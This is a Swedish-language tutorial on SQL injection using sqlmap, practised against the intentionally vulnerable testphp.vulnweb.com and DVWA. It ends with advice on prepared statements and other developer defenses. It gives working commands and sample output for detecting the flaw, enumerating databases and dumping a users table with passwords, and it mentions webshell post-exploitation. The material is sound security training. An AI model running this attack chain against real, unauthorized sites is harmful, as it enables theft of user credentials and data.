SQL-injection händer när en webbapp tar emot text från användaren och skickar in den rakt i en databasfråga, utan att rensa den först. En angripare kan då "smita ut" från det textfält den var tänkt för, och köra egna SQL-kommandon mot databasen. Resultatet: läsa data, ändra data, ibland ta över hela servern.
testphp.vulnweb.com (Acunetix officiella testmål), DVWA / OWASP Juice Shop i Docker, HackTheBox / TryHackMe-labb, eller sajter i bug bounty-program där SQLi är inom scope.
01Vad sqlmap egentligen är
sqlmap är skrivet i Python och är öppen källkod. Det automatiserar hela kedjan:
- Detektion — testar om en parameter är sårbar för SQLi
- Identifikation — vilken DBMS körs (MySQL, PostgreSQL, MSSQL, Oracle, SQLite...)
- Exploit — hämtar databaser, tabeller, kolumner, rader
- Post-exploit — i värsta fall: läsa filer från servern, lägga upp en webshell
Det stödjer alla större databasmotorer och alla SQLi-tekniker som finns dokumenterade: boolean-based, time-based, error-based, UNION-based, stacked queries, out-of-band.
02Installation
Linux:
sudo apt install sqlmap
sqlmap --version
1.7.11
macOS / Windows:
pip install sqlmap
# eller klona från GitHub
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
python sqlmap.py --version
03Ditt första scan
Acunetix testphp har en URL där cat-parametern är medvetet sårbar för SQLi — perfekt övning:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch [INFO] testing connection to the target URL [INFO] testing if the target URL content is stable [INFO] testing if GET parameter 'cat' is dynamic [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable [INFO] testing for SQL injection on GET parameter 'cat' [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind' injectable [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [INFO] GET parameter 'cat' is 'MySQL UNION query' injectable sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests: --- Parameter: cat (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat=1 AND 5234=5234 --- [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.6.40 back-end DBMS: MySQL >= 5.6
Parametern cat är alltså sårbar. Bakomliggande databas är MySQL. Nu kan vi börja gräva.
04Hämta data
Lista alla databaser:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
available databases [2]:
[*] acuart
[*] information_schema
Lista tabellerna i en databas:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch Database: acuart [8 tables] +-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | | users | +-----------+
Dumpa en hel tabell:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --dump --batch Database: acuart Table: users +----+-------+----------+-----------+ | id | uname | pass | email | +----+-------+----------+-----------+ | 1 | test | test | em@em.com | +----+-------+----------+-----------+
05Vanliga flaggor
-u "URL"— målet (kom ihåg citattecken om URL:en har?eller&)--batch— säg "ja" till alla frågor automatiskt; bra för övning--dbs— lista databaser-D namn --tables— lista tabeller i en databas-D namn -T tabell --columns— lista kolumner-D namn -T tabell --dump— hämta all data--level1–5 — hur djupt sqlmap testar (default 1; 5 testar mer parametrar)--risk1–3 — hur "farliga" tester (3 kan göra destructive queries)--data "param=val"— POST-data istället för GET--cookie "PHPSESSID=abc"— skicka med en cookie (för inloggat scan)
06Hur du skyddar dig som utvecklare
SQLi är ett löst problem — om du gör rätt från början:
- Använd prepared statements / parameterized queries. All modern databasdrivare har dem. Användarinput hamnar i en variabel som aldrig tolkas som SQL.
- Använd en ORM (Sequelize, SQLAlchemy, Prisma, Eloquent...). De parameteriserar automatiskt.
- Princip om minsta möjliga rättigheter — appens databaskonto ska bara ha SELECT på de tabeller den behöver, inget mer.
- Web Application Firewall (WAF) kan filtrera typiska SQLi-payloads — men förlitar dig inte bara på den.
07Vad du lärt dig
- SQL-injection = användarinput hamnar rakt in i en SQL-fråga
- sqlmap automatiserar detektion → identifiering → exploit
- Grundkommando:
sqlmap -u "URL" --batch - Försvar: prepared statements (i princip alltid)
- Övningsmål:
testphp.vulnweb.com+ DVWA i Docker
Övning: full attack-kedja mot testphp
1. Kör sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch — bekräfta att cat är sårbar.
2. Lägg till --dbs för att lista alla databaser på servern.
3. Lista tabeller i databasen acuart: -D acuart --tables.
4. Dumpa tabellen users: -D acuart -T users --dump.
5. Reflektera: om en riktig sajt hade samma bugg så skulle du nu ha alla användarnamn och lösenord. Sätt upp DVWA i Docker (docker run -p 80:80 vulnerables/web-dvwa) och prova samma sak lokalt — där kan du också titta i koden och se exakt vilken rad som orsakar buggen.